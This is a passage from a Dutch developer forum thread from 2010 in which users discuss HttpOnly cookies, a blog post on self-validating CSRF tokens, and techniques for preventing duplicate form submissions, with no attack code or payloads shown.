Het was ook niet specifiek voor T.net bedoeld, maar meer als algemene tip. Er zijn zat sites waar een HttpOnly toevoeging op een cookie net een klein beetje een extra laagje bescherming kan bieden; dat het TNetID hier door "derden" gebruikt wordt voor legitieme doeleinden is andere koek.

[Xander]

Soultaker schreef op maandag 29 maart 2010 @ 04:21:
Nee hoor, ook niet.

He, je denkt toch niet dat ik zoiets beweer zonder het uit te proberen. Het werkt.

Zelfs dat bericht versturen met die [img] tag in de [code] tag zorgde er voor dat mijn forumsessie gereset werd, blijkbaar werkt die check images functie ook binnen code-tags.

Soultaker schreef op maandag 29 maart 2010 @ 10:13:
Oh, die ja. Wat doet dat eigenlijk, behalve de hitcounters resetten?

Niets, het beveiligingsrisico is dan ook wel te overzien.

Het was dan ook alleen maar een voorbeeldje om aan te tonen dat dit niet klopt:

Trucker Her schreef op zondag 28 maart 2010 @ 18:07:
Tis dus alleen even ter illustratie dat het op tweakers niet zo werkt.. Omdat ze de afbeeldingen controleren!

[Soultaker]

Xander schreef op maandag 29 maart 2010 @ 13:54:
He, je denkt toch niet dat ik zoiets beweer zonder het uit te proberen.

Hehe, mijn excuses, ik had je onderschat. Ik had het trouwens zelf ook getest, maar ik zag niets veranderen, dus ik dacht dat 't niets deed... Weer wat geleerd...

[crisp]

Crisp's blog: CSRF protection with 'self-validating' tokens

[Soultaker]

Leuke aanpak. De keuze om tokens te versleutelen zodat je ze niet hoeft op te slaan ligt voor de hand, maar ik vraag me af wat de meerwaarde is van het opslaan van gebruikte tokens in de database. Ik snap dat je op die manier replay attacks kunt voorkomen, maar wat is daar het voordeel van als een attacker net zo lief een ongebruikte token in handen zou krijgen?

Tokens worden nu al onversleuteld verstuurd, en zoals je zelf aangeeft wordt het grootste deel van de gegenereerde tokens nooit gebruikt, dus het lijkt me dat áls een aanvaller op de een of andere manier een token in handen zou kunnen krijgen (door op het netwerk mee te luisteren of op een andere manier de broncode van de pagina in te zien) dan is de kans vrij groot dat dat een ongebruikte token is. De check of een token eerder gebruikt is lijkt me dan vrij overbodig, of zie ik dat verkeerd?

offtopic:
Ik kwam een kleine spelfout tegen: de apostrof in "it's use and expiration" moet weggelaten worden.
edit: sterker nog, ik denk dat het their ipv its moet zijn.

[Voor 8% gewijzigd door Soultaker op 17-04-2010 05:27]

[Voutloos]

Dat jij een ander probleem ziet betekent nog niet dat je replays maar moet toestaan. Iig wordt er nu al een stuk minder server state bijgehouden, en ook bij deze oplossing kan je de verouderde entries uit de tabel verwijderen.

[Voor 46% gewijzigd door Voutloos op 17-04-2010 09:57]

[ACM]

Soultaker schreef op zaterdag 17 april 2010 @ 03:10:
Leuke aanpak. De keuze om tokens te versleutelen zodat je ze niet hoeft op te slaan ligt voor de hand, maar ik vraag me af wat de meerwaarde is van het opslaan van gebruikte tokens in de database. Ik snap dat je op die manier replay attacks kunt voorkomen, maar wat is daar het voordeel van als een attacker net zo lief een ongebruikte token in handen zou krijgen?

Het heeft een veel praktischer en vaker voorkomende reden. Voorkomen dat een dubbel opgestuurd formulier een tweede keer verwerkt wordt, bijvoorbeeld doordat men dubbelklikt op de submitbutton bij een reactieformulier.

Sterker nog, dat was uberhaupt de initiele reden om die tokens toe te gaan passen. Voor CSRF konden we tenslotte de sessieids al gebruiken (hoewel die standaard in de html verwerken ook niet ideaal is).

[Olaf van der Spek]

Voutloos schreef op zaterdag 17 april 2010 @ 09:50:
en ook bij deze oplossing kan je de verouderde entries uit de tabel verwijderen.

Het punt is juist dat er geen tabel meer (nodig) is, dat nee, dat kan niet.
Nu moet je gebruikte tokens juist in de tabel zetten zodat ze niet nog een keer gebruikt kunnen worden.

[Voor 16% gewijzigd door Olaf van der Spek op 17-04-2010 10:49]

[Voutloos]

Uiteraard, maar gebruikte tokens met verlopen ttl kan je gewoon wegknikkeren, want die worden toch al zonder server state afgekeurd op basis van tijd.

[Voor 3% gewijzigd door Voutloos op 17-04-2010 10:52]

[ACM]

Olaf van der Spek schreef op zaterdag 17 april 2010 @ 10:47:
Het punt is juist dat er geen tabel meer (nodig) is, dat nee, dat kan niet.
Nu moet je gebruikte tokens juist in de tabel zetten zodat ze niet nog een keer gebruikt kunnen worden.

Het heeft wel een vrij significant verschil in orde van grootte... Voorheen sloegen we overdag in piekuren dik 36000 tokens op, dat was dus 10 vrij dure inserts per seconde. En die 36000 werden dan 24 uur later ook weer verwijderd uit die tabel (piekuur de volgende dag...).
Het gros ervan werd zinloos opgeslagen, want zo veel reacties worden er nou ook weer niet op nieuwsberichten e.d. geplaatst

In theorie heeft deze aanpak natuurlijk ook andere problemen t.o.v. de vorige situatie. We hebben nu minder controle over hoeveel tokens een specifieke gebruiker nou eigenlijk gekregen heeft, maar in de praktijk deden we toch al weinig met dat soort informatie. En we weten nu ook niet helemaal zeker dat ie een specifieke token wel van ons gekregen heeft, maar daar zou de self-validation toch vrij goed tegen moeten werken.

[Voor 4% gewijzigd door ACM op 17-04-2010 11:02]

[Anoniem: 26306]

Er is wel een manier te bedenken waarbij geen database-tabel meer nodig is. Ik heb dit ooit eens bedacht voor een CMS systeem, maar nooit echt geïmplementeerd.

Het formulier dat de token moet bevatten, zou ook een soort checksum kunnen bevatten die "before" state bevat. Ik zag dat als bijvoorbeeld een md5 hash van alle velden van een rij uit een database. Zo kon ik zien wanneer een gebruiker een wijziging doet op iets dat in de tussentijd al door iemand anders is gewijzigd.

Hetzelfde principe kun je hier toepassen, maar dan met alle velden die met die token zouden kunnen worden gewijzigd. Op het moment dat er een formulier wordt gesubmit, kun je vooraf bekijken of de huidige state wel gelijk is aan de state voordat het formulier werd gegenereerd. Klopt het niet, dan is er iets aan de hand waarvoor bevestiging van de eindgebruiker nodig is.

Een token is dan alleen opnieuw te gebruiken als precies dezelfde state nog eens voorkomt. En dat gebeurt niet als je bijvoorbeeld "laatst gewijzigd op"-velden meeneemt in de "checksum".

En die 36000 werden dan 24 uur later ook weer verwijderd uit die tabel (piekuur de volgende dag...).

Misschien is 24 uur dan ook niet de meest handige geldigheidsduur van zo'n token

[Voor 8% gewijzigd door Anoniem: 26306 op 17-04-2010 11:14]

[ACM]

Anoniem: 26306 schreef op zaterdag 17 april 2010 @ 11:09:
Misschien is 24 uur dan ook niet de meest handige geldigheidsduur van zo'n token

Ach, toen we dit analyzeerden kwam dat inderdaad naar voren. Sowieso is het overbodig lang. Maar de nieuwe situatie voorkomt uberhaupt dat de token opgeslagen moet worden, dus dat wint op dat gebied sowieso van elke variant met een kortere opslag in de oude situatie

[Soultaker]

ACM schreef op zaterdag 17 april 2010 @ 10:37:
Het heeft een veel praktischer en vaker voorkomende reden. Voorkomen dat een dubbel opgestuurd formulier een tweede keer verwerkt wordt, bijvoorbeeld doordat men dubbelklikt op de submitbutton bij een reactieformulier.

Ah, daar is het natuurlijk wel nuttig voor. Ik vraag me wel af welke faalbrowsers heden ten dage nog POST requests dubbel versturen zonder expliciete bevestiging van de gebruiker (Firefox in ieder geval niet) maar goed, het kan geen kwaad om er iets tegen te doen.

[netvor]

Anoniem: 26306 schreef op zaterdag 17 april 2010 @ 11:09:
Een token is dan alleen opnieuw te gebruiken als precies dezelfde state nog eens voorkomt. En dat gebeurt niet als je bijvoorbeeld "laatst gewijzigd op"-velden meeneemt in de "checksum".

Leuk idee! Het heeft wat weg van distributed version control (darcs/git/etc) waar patches/commits op elkaar gestapeld kunnen worden zolang de context maar gelijk is. Misschien dat je er een 3-way-merge algoritme aan vast kan plakken voor situaties als het wijzigen van een zojuist gewijzigde reactie? Dat zou heel handig zijn op drukke wiki's.

Ik zie echter een knelpunt bij het vermijden van double-submit. Voor het wijzigen van reacties werkt dit systeem perfect, zoals je zelf al schrijft, maar hoe kun je double-submit vermijden voor acties die de context niet wijzigen? Neem als voorbeeld het plaatsen van een nieuwe reactie op een blogpost. Als je als context enkel de ID van de blogpost (en natuurlijk session ID en dergelijke) aanhoudt, dan zijn de "before-context" en "after-context" gelijk, ergo geen bescherming tegen double-submit. Je moet dus "iets" in de context stoppen dat verandert als gevolg van het submitten van de reactie. ID van de laatste reactie? Dan krijg je false-positives als een andere user net iets sneller is. ID van de laatste reactie van deze user op deze blogpost? Werkt al iets beter, maar je krijgt een false positive wanneer de user eerst twee edit-forms opent en daarna twee losse reacties verstuurt. Dan kun je bij de tweede post wel om bevestiging vragen, maar 1x vragen is eigenlijk 1x te veel.

[Olaf van der Spek]

netvor schreef op maandag 19 april 2010 @ 11:00:
Ik zie echter een knelpunt bij het vermijden van double-submit. Voor het wijzigen van reacties werkt dit systeem perfect, zoals je zelf al schrijft, maar hoe kun je double-submit vermijden voor acties die de context niet wijzigen? Neem als voorbeeld het plaatsen van een nieuwe reactie op een blogpost.

Het voorkomen van dubbele posts is toch eenvoudig? Daar heb je helemaal geen tokens voor nodig. Gewoon controleren of die post al in de database zit...

Soultaker schreef op zaterdag 17 april 2010 @ 20:40:
Ah, daar is het natuurlijk wel nuttig voor. Ik vraag me wel af welke faalbrowsers heden ten dage nog POST requests dubbel versturen zonder expliciete bevestiging van de gebruiker (Firefox in ieder geval niet) maar goed, het kan geen kwaad om er iets tegen te doen.

Zeker weten? Volgens mij doet Firefox het ook gewoon als de gebruiker zelf twee keer op Submit klikt.

[Voor 29% gewijzigd door Olaf van der Spek op 19-04-2010 17:42]

[Soultaker]

AFAIK begint Firefox een POST request de eerste keer dat je klinkt en negeert 'ie verdere clicks op diezelfde button. Als je een pagina die het resultaat van een POST request was probeert te reloaden vraagt 'ie eerst om bevestiging, dus dan krijg je alleen een extra request als de gebruiker het écht wil (maar dat kan altijd natuurlijk).

[Voor 4% gewijzigd door Soultaker op 19-04-2010 17:52]

[Soultaker]

edit:
Ik dacht dat React ook dubbelposts voorkwam door te checken of het bericht hetzelfde is, maar blijkbaar niet.

[Voor 82% gewijzigd door Soultaker op 19-04-2010 17:53]

[.oisyn]

Soultaker schreef op maandag 19 april 2010 @ 17:52:
AFAIK begint Firefox een POST request de eerste keer dat je klinkt en negeert 'ie verdere clicks op diezelfde button. Als je een pagina die het resultaat van een POST request was probeert te reloaden vraagt 'ie eerst om bevestiging, dus dan krijg je alleen een extra request als de gebruiker het écht wil (maar dat kan altijd natuurlijk).

Chrome doet precies hetzelfde.

Olaf van der Spek schreef op maandag 19 april 2010 @ 17:41:
[...]

Het voorkomen van dubbele posts is toch eenvoudig? Daar heb je helemaal geen tokens voor nodig. Gewoon controleren of die post al in de database zit...

Dus als jij een vraag stelt, en ik antwoord met "nee", en jij stelt nog een vraag, dan mag ik niet nog een keer met "nee" antwoorden?

[Voor 29% gewijzigd door .oisyn op 19-04-2010 17:58]

[BarôZZa]

Lijkt me dat je de laatste post pakt en controleert of deze gelijk is, als er nog een post tussen zit, dan kan je ervoor kiezen dat hij toch gepost wordt . Tokens zijn ook mogelijk. Wel weer een gedoe.

[Voor 24% gewijzigd door BarôZZa op 19-04-2010 18:01]

[.oisyn]

Dat is geen dubbelpost bescherming, als iemand dan tussendoor nog een post weet te maken dan wordt je dubbelpost ook geaccepteerd .

Een tokensysteem (met puur als doel dubbelposts tegengaan) is niet zo lastig, gewoon een random token geven die ongelijk is aan het vorige token van een gebruiker (vorige token + 1) en die meesubmitten. Is bij een submit het token gelijk aan de laatst gesubmitte token van een gebruiker, dan is er meerdere keren gesubmit.

[Voor 55% gewijzigd door .oisyn op 19-04-2010 18:41]

[Voutloos]

Het is wel lastiger dan dat, anders gaat het fout bij gebruik van meerdere tabjes.

[.oisyn]

Idd, die "(vorige token + 1)" toevoeging had ik achterwege moeten laten. Met compleet random tokens bestaat het probleem natuurlijk nog wel, maar is de kans dat het daadwerkelijk optreedt vrij klein.

[BarôZZa]

Nee, want dan kan 1 eerst tab 1 submitten, dan tab 2 en als je dan de backbutton gebruikt van tab 1, dan submit hij hem weer .

Bij controleren aan de hand van de laatste post kan je idd dubbelposten als iemand ertussen heeft gereageerd. In de praktijk valt het bij mij (geen miljoenensites) wel mee.

De enige echte oplossing is voor elke request een aparte token maken die na een tijdje vervalt, maar dan loop je het risico dat je site een stuk trager wordt en je een flinke db krijgt, aangezien maar een klein deel van de tokens gebruikt zou worden.

[.oisyn]

BarôZZa schreef op maandag 19 april 2010 @ 20:02:
Nee, want dan kan 1 eerst tab 1 submitten, dan tab 2 en als je dan de backbutton gebruikt van tab 1, dan submit hij hem weer .

Dat valt niet echt onder de categorie dubbelposten, daarnaast doet geen enkele browser dat zonder eerst om een bevestiging te vragen.

[Voutloos]

BarôZZa schreef op maandag 19 april 2010 @ 20:02:
De enige echte oplossing is voor elke request een aparte token maken die na een tijdje vervalt, maar dan loop je het risico dat je site een stuk trager wordt en je een flinke db krijgt, aangezien maar een klein deel van de tokens gebruikt zou worden.

Of je leest crisp z'n blog entry.

[Olaf van der Spek]

BarôZZa schreef op maandag 19 april 2010 @ 20:02:
Nee, want dan kan 1 eerst tab 1 submitten, dan tab 2 en als je dan de backbutton gebruikt van tab 1, dan submit hij hem weer .

Niet als je een redirect doet na POST (zoals het hoort).

.oisyn schreef op maandag 19 april 2010 @ 17:57:
Dus als jij een vraag stelt, en ik antwoord met "nee", en jij stelt nog een vraag, dan mag ik niet nog een keer met "nee" antwoorden?

Ik check ook de parent/gequote post. Twee keer nee op dezelfde vraag mag inderdaad niet.

[Voor 35% gewijzigd door Olaf van der Spek op 19-04-2010 20:58]

[.oisyn]

Hier op GoT heb je niet echt parents. Dan kun je gewoon twee keer "nee" in de quickreply typen.